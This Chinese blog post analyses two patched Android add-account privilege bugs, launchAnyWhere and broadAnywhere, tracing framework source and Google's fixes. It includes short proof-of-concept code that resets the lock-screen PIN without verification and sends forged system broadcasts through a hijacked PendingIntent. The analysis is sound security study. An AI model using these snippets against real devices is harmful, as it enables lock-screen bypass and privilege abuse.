android修复了添加账户代码中的2处bug,retme取了很酷炫的名字launchAnyWhere、broadAnywhere(参考资料1、2)。本文顺着前辈的思路学习bug的原理和利用思路。

  我们先看下源码里setting中添加账户的代码,来理解bug产生的原理。

  /packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate:

  1. public void onCreate(Bundle savedInstanceState) {
  2. ......
        final Intent intent = new Intent(this, ChooseAccountActivity.class);
  3. if (accountTypes != null) {
  4. intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes);
  5. }
  6. startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST);
  7. }

  调用startActivityForResult去启动"添加账户"activity,ChooseAccountActivity选好账户后回调onActivityResult函数:

  1. public void onActivityResult(int requestCode, int resultCode, Intent data) {
  2. ......
  3. case CHOOSE_ACCOUNT_REQUEST:
  4. .......
  5. // Go to account setup screen. finish() is called inside mCallback.
  6. addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT));
  7. break;

  ok,来到addAccount函数:

  1. private void addAccount(String accountType) {
  2. ......
  3. mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
  4. addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
  5. addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
  6. AccountManager.get(this).addAccount(
  7. accountType,
  8. null, /* authTokenType */
  9. null, /* requiredFeatures */
  10. addAccountOptions,
  11. null,
  12. mCallback,
  13. null /* handler */);
  14. mAddAccountCalled = true;
  15. }

  注意new Intent()这是broadAnywhere bug的成因,下面还会仔细分析。看源码发现AddAccountSettings.addAccount的还是由AccountManager.addAccount来实现的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:

  1. public AccountManagerFuture<Bundle> addAccount(final String accountType,
  2. ......
        

    if (addAccountOptions != null) {
      optionsIn.putAll(addAccountOptions);
     }

return new AmsTask(activity, handler, callback) {

  1. public void doWork() throws RemoteException {
  2. mService.addAccount(mResponse, accountType, authTokenType,
  3. requiredFeatures, activity != null, optionsIn);
  4. }
  5. }.start();

  粗看之下addAccount貌似卡住了,但看AmsTask的start函数源码你会发现此函数就是去调用doWork函数。故这里实质是去执行mService.addAccount(回归正道了),而mService就是AccountManagerService(这里不明白没关系,跟本文主题关系不大;先记住,我会另一篇解释下xxxManager、IxxxManager、IxxxManagerService之间的联系)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount;

  1. public void addAccount(final IAccountManagerResponse response, final String accountType,
  2. final String authTokenType, final String[] requiredFeatures,
  3. final boolean expectActivityLaunch, final Bundle optionsIn) {
  4. .......
  5. final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn;
  6. ......
  7. try {
  8. new Session(accounts, response, accountType, expectActivityLaunch,
  9. true /* stripAuthTokenFromResult */) {
  10. @Override
  11. public void run() throws RemoteException {
  12. mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures,
  13. options);
  14. }
  15. ......

   由mAuthenticator去启动addAccount代码来添加账户;那mAuthenticator为何物(这里偏题下,参考资料6来学习下在android中如何添加自己的账户系统;其实直接看retme的launchAnyWhere poc学习更快),这里用retme poc的代码来分析就是Authenticator,他继承自AbstractAccountAuthenticator。Authenticator.addAccount:

  1. public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
  2. String authTokenType, String[] requiredFeatures, Bundle options) {
  3. ......
  4. Intent intent = new Intent();
  5. // 重设锁屏pin
  6. intent.setComponent(new ComponentName(
  7. "com.android.settings",
  8. "com.android.settings.ChooseLockPassword"));
  9. intent.setAction(Intent.ACTION_RUN);
  10. intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  11. intent.putExtra("confirm_credentials",false);
  12. bundle.putParcelable(AccountManager.KEY_INTENT, intent);
  13. return bundle;
  14. }

  Authenticator.addAccount返回Intent,由上面AmsTask中的内部类Response回调函数onResult来处理

  1. private class Response extends IAccountManagerResponse.Stub {
  2. public void onResult(Bundle bundle) {
  3. Intent intent = bundle.getParcelable(KEY_INTENT);
  4. if (intent != null && mActivity != null) {
  5. // since the user provided an Activity we will silently start intents
  6. // that we see
  7. mActivity.startActivity(intent);
  8. // leave the Future running to wait for the real response to this request
  9. }
  10. .......

  startActivity去启动上面Authenticator.addAccount传入的activity。此activity对于正常app来说就是登陆页面,所以在此会记录账号信息已添加到android账户中。总得来说addAccount的流程就是这样子

  账户添加流程就分析到这里,我们来看下bug是如何产生的。首先简单的先看launchAnyWhere:上面app中返回一个intent,而在Response里直接startActivity,这会打开android系统中的任意activity(因为此时在setting进程中执行具有system权限,system可以打开任意activity不管有无exported)。这就是launchAnyWhere的原理,通过精心构造的app可以打开任意activity(上面的填出的poc代码是重设锁屏pin,即不需要验证之前的pin就可以重新设置新的pin)。谷歌的修复也很简单,检测startActivity中的activity签名和构造的app的签名是否相同(签名相同表示app有权限打开activity;具体看android4.4的代码,所以launchAnyWhere的影响是android4.4以下的机器。

  

  broadAnywhere:在分析这个bug之前我们先理解下PendingIntent(详情请参考7);在这里可以简单的理解:

简单来说,就是指PenddingIntent对象可以按预先指定的动作进行触发,当这个对象传递(通过binder)到其他进程(不同uid的用户),其他进程利用这个PenddingInten对象,可以原进程的身份权限执行指定的触发动作,这有点类似于Linux上suid或guid的效果。另外,由于触发的动作是由系统进程执行的,因此哪怕原进程已经不存在了,PenddingIntent对象上的触发动作依然有效。

 在AddAccountSettings.addAccount时创建PendingIntent,并一直传递到app的Authenticator.addAccount中

  1. mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

  PendingIntent的定义,我们可以在app执行PendingIntent指定的触发动作:PendingIntent.send(intent,flag)。而PendingIntent.send()实质是由PendingIntentRecord.send()来执行(不理解?继续看参考资料7)

  1. public int send(int code, Intent intent, String resolvedType,
  2. IIntentReceiver finishedReceiver, String requiredPermission) {
  3. return sendInner(code, intent, resolvedType, finishedReceiver,
  4. requiredPermission, null, null, 0, 0, 0, null);
  5. }

  继续往下看

  1. int sendInner(int code, Intent intent, String resolvedType,
  2. IIntentReceiver finishedReceiver, String requiredPermission,
  3. IBinder resultTo, String resultWho, int requestCode,
  4. int flagsMask, int flagsValues, Bundle options) {
  5. synchronized(owner) {
  6. ......
  7. Intent finalIntent = key.requestIntent != null
  8. ? new Intent(key.requestIntent) : new Intent();
  9. if (intent != null) {// 填充intent
  10. int changes = finalIntent.fillIn(intent, key.flags);
  11. if ((changes&Intent.FILL_IN_DATA) == 0) {
  12. resolvedType = key.requestResolvedType;
  13. }
  14. }
  15. ......
  16. case ActivityManager.INTENT_SENDER_BROADCAST:
  17. try {
  18. // If a completion callback has been requested, require
  19. // that the broadcast be delivered synchronously
  20. // 发生广播
  21. owner.broadcastIntentInPackage(key.packageName, uid,
  22. finalIntent, resolvedType,
  23. finishedReceiver, code, null, null,
  24. requiredPermission, (finishedReceiver != null), false, userId);
  25. sendFinish = false;
  26. } catch (RuntimeException e) {
  27. Slog.w(ActivityManagerService.TAG,
  28. "Unable to send startActivity intent", e);
  29. }
  30. break;
  31. ......

  这里最后面一步是发送广播了,那究竟是发送什么广播呢?看finalIntent.fillIn

  1. public int fillIn(Intent other, int flags) {
  2. 6474 int changes = 0;
  3. 6475 if (other.mAction != null
  4. 6476 && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
  5. 6477 mAction = other.mAction;
  6. 6478 changes |= FILL_IN_ACTION;
  7. 6479 }
  8. 6480 if ((other.mData != null || other.mType != null)
  9. 6481 && ((mData == null && mType == null)
  10. 6482 || (flags&FILL_IN_DATA) != 0)) {
  11. 6483 mData = other.mData;
  12. 6484 mType = other.mType;
  13. 6485 changes |= FILL_IN_DATA;
  14. 6486 }
  15. 6487 if (other.mCategories != null
  16. 6488 && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
  17. 6489 if (other.mCategories != null) {
  18. 6490 mCategories = new ArraySet<String>(other.mCategories);
  19. 6491 }
  20. 6492 changes |= FILL_IN_CATEGORIES;
  21. 6493 }
  22. 6494 if (other.mPackage != null
  23. 6495 && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
  24. 6496 // Only do this if mSelector is not set.
  25. 6497 if (mSelector == null) {
  26. 6498 mPackage = other.mPackage;
  27. 6499 changes |= FILL_IN_PACKAGE;
  28. 6500 }
  29. 6501 }
  30. 6502 // Selector is special: it can only be set if explicitly allowed,
  31. 6503 // for the same reason as the component name.
  32. 6504 if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
  33. 6505 if (mPackage == null) {
  34. 6506 mSelector = new Intent(other.mSelector);
  35. 6507 mPackage = null;
  36. 6508 changes |= FILL_IN_SELECTOR;
  37. 6509 }
  38. 6510 }
  39. 6511 if (other.mClipData != null
  40. 6512 && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
  41. 6513 mClipData = other.mClipData;
  42. 6514 changes |= FILL_IN_CLIP_DATA;
  43. 6515 }
  44. 6516 // Component is special: it can -only- be set if explicitly allowed,
  45. 6517 // since otherwise the sender could force the intent somewhere the
  46. 6518 // originator didn't intend.
  47. 6519 if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
  48. 6520 mComponent = other.mComponent;
  49. 6521 changes |= FILL_IN_COMPONENT;
  50. 6522 }
  51. 6523 mFlags |= other.mFlags;
  52. 6524 if (other.mSourceBounds != null
  53. 6525 && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
  54. 6526 mSourceBounds = new Rect(other.mSourceBounds);
  55. 6527 changes |= FILL_IN_SOURCE_BOUNDS;
  56. 6528 }
  57. 6529 if (mExtras == null) {
  58. 6530 if (other.mExtras != null) {
  59. 6531 mExtras = new Bundle(other.mExtras);
  60. 6532 }
  61. 6533 } else if (other.mExtras != null) {
  62. 6534 try {
  63. 6535 Bundle newb = new Bundle(other.mExtras);
  64. 6536 newb.putAll(mExtras);
  65. 6537 mExtras = newb;
  66. 6538 } catch (RuntimeException e) {
  67. 6539 // Modifying the extras can cause us to unparcel the contents
  68. 6540 // of the bundle, and if we do this in the system process that
  69. 6541 // may fail. We really should handle this (i.e., the Bundle
  70. 6542 // impl shouldn't be on top of a plain map), but for now just
  71. 6543 // ignore it and keep the original contents. :(
  72. 6544 Log.w("Intent", "Failure filling in extras", e);
  73. 6545 }
  74. 6546 }
  75. 6547 return changes;
  76. 6548 }

  在fillIn函数中,会将intent属性(Action、Data、Categories,需要注意的是Component很特殊,只要有FILL_IN_COMPONENT即使原本有Component也可以被覆盖)全部填充到finalIntent(如果相应的属性为空)里。也就是说最后广播的intent是PendingIntent.send(intent,flag)中的intent(除无法指定Component)。那么我们就可以利用这个特性来发送任意的广播(PendingIntent由setting创建,所有具有system权限可以无视权限限制)了。具体的poc代码是在app的Authenticator.addAccount中添加如下代码

  1. // the exploit of broadcastAnyWhere
  2. final String KEY_CALLER_IDENTITY = "pendingIntent";
  3. PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
  4. Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
  5. intent_for_broadcast.putExtra("info", "I am bad boy");
  6.  
  7. try {
  8. pendingintent.send(mContext, 0, intent_for_broadcast);
  9. } catch (CanceledException e) {
  10. e.printStackTrace();
  11. }

  谷歌的修复也很简单,在setting最初创建PendingIntent指定ComponentName、Action、Categories,这样PendingIntent.send(intent,flag)中相对应的intent属性就失效了,也就无法发送任意的广播。broadAnywhere的影响是android5.0以下的机子:

  1. Intent identityIntent = new Intent();
  2. identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
  3. identityIntent.setAction(SHOULD_NOT_RESOLVE);
  4. identityIntent.addCategory(SHOULD_NOT_RESOLVE);

参考资料:

1、launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )

2、broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

3、Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施

4、Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

5、安卓Bug 17356824 BroadcastAnywhere漏洞分析

6、一步一步教你在 Android 里创建自己的账户系统(一)

7、说说PendingIntent的内部机制

android添加账户流程分析涉及漏洞修复的更多相关文章

  1. android添加账户源码浅析

    上篇粗略的分析android添加账号的流程,本篇深入的解析下执行步骤.先来看图片,取自深入理解android卷2: 上图详细的分析了addAccount的流程,下面我们结合源码来理解它 1.addAc ...

  2. android签名分析及漏洞修复

    本篇我们来看看android的签名机制.发布出来的apk都是有META-INF文件夹,里面包含如下三个文件: 下面来一一解释这三个文件的作用(打包apk时签名过程):SignApk.main() 1. ...

  3. android PakageManagerService启动流程分析

    PakageManagerService的启动流程图 1.PakageManagerService概述 PakageManagerService是android系统中一个核心的服务,它负责系统中Pac ...

  4. Android SDCard Mount 流程分析

    前段时间对Android 的SDCard unmount 流程进行了几篇简短的分析,由于当时只是纸上谈兵,没有实际上的跟进,可能会有一些误导人或者小错误.今天重新梳理了头绪,针对mount的流程再重新 ...

  5. Android 呼吸灯流程分析

    一.Android呼吸灯Driver实现 1.注册驱动 代码位置:mediatek/kernel/drivers/leds/leds_drv.c 602static struct platform_d ...

  6. android Camera 数据流程分析

    这篇文章主要针对其数据流程进行分析.Camera一般用于图像浏览.拍照和视频录制.这里先对图像浏览和拍照的数据流进行分析,后面再对视频电话部分进行分析. 1.针对HAL层对摄像头数据处理补充一下 Li ...

  7. [旧][Android] ButterKnifeProcessor 工作流程分析

    备注 原发表于2016.05.21,资料已过时,仅作备份,谨慎参考 前言 在 [Android] ButterKnife 浅析 中,我们了解了 ButterKnife 的用法,比较简单. 本次文章我们 ...

  8. Android WiFi 扫描流程分析(wpa_supplicant选择网络)

    扫描流程 1.如果之前就已经有相关记录,优化扫描,扫描记录部分的频率信道. 2.如果1中的扫描没有结果,清除黑名单中的进行选择. 3.如果2中没有结果,进行所有频率的信道进行扫描 相关log参考: h ...

  9. cni 添加网络 流程分析

    cnitool: Add or remove network interfaces from a network namespace cnitool add <net> <netns ...

随机推荐

  1. 剑指 Offer 59 - II. 队列的最大值--滑动窗口的建模+Deque的基本使用(常用方法)

    剑指 Offer 59 - II. 队列的最大值 题目链接 package com.walegarrett; /** * @Author WaleGarrett * @Date 2020/12/3 1 ...

  2. ASP.NET Core重复读取Request.Body

    //HttpContext context.Request.EnableRewind(); //创建缓冲区存放Request.Body的内容,从而允许反复读取Request.Body的Stream u ...

  3. 操作系统---在内核中重新加载GDT和堆栈

    摘要 用BIOS方式启动计算机后,BIOS先读取引导扇区,引导扇区再从外部存储设备中读取加载器,加载器读取内核.进入内核后,把加载器中建立的GDT复制到内核中. 这篇文章的最大价值也许在末尾,对C语言 ...

  4. Hi3559AV100 NNIE开发(2)-RFCN(.wk)LoadModel及NNIE Init函数运行过程分析

    之后随笔将更多笔墨着重于NNIE开发系列,下文是关于Hi3559AV100 NNIE开发(2)-RFCN(.wk)LoadModel及NNIE Init函数运行过程分析,通过对LoadModel函数及 ...

  5. BeautifulSoup爬取微博热搜榜

    获取url 设定请求头 requests发出get请求 实例化BeautifulSoup对象 BeautifulSoup提取数据 import requests 2 from bs4 import B ...

  6. 欢迎参加3月活动:AWS 在线研讨会与阿里云 RISC-V 应用创新大赛

    3月份我们在帮合作云厂商 Amazon Web Services(AWS) 与阿里云推广2个活动,欢迎感兴趣的园友参加. 活动一:亚马逊云科技在线研讨会:借助 DGL 实现实时欺诈检测 博客园专属报名 ...

  7. Mybatis中由于${}直接注入引发的问题

    一.问题引入 我们先来看这段代码,我想从取值为${category}的表中查询全部信息. @Mapper public interface CategoryMapper { @Select(" ...

  8. Java例题_19 打印菱形图案

    1 /*19 [程序 19 打印菱形图案] 2 题目:打印出如下图案(菱形) 3 * 4 *** 5 ***** 6 ******* 7 ***** 8 *** 9 * 10 */ 11 12 /*分 ...

  9. Android控件 之 TextClock & AnalogClock(模拟时钟)

    TextClock •简介 关于时间的文本显示,Android 提供了 DigitalClock 和 TextClock. DigitalClock是Android第1版本发布,功能很简单,只显示时间 ...

  10. DAOS 分布式异步对象存储|架构设计

    分布式异步对象存储 (DAOS) 是一个开源的对象存储系统,专为大规模分布式非易失性内存 (NVM, Non-Volatile Memory) 设计,利用了SCM(Storage-Class Memo ...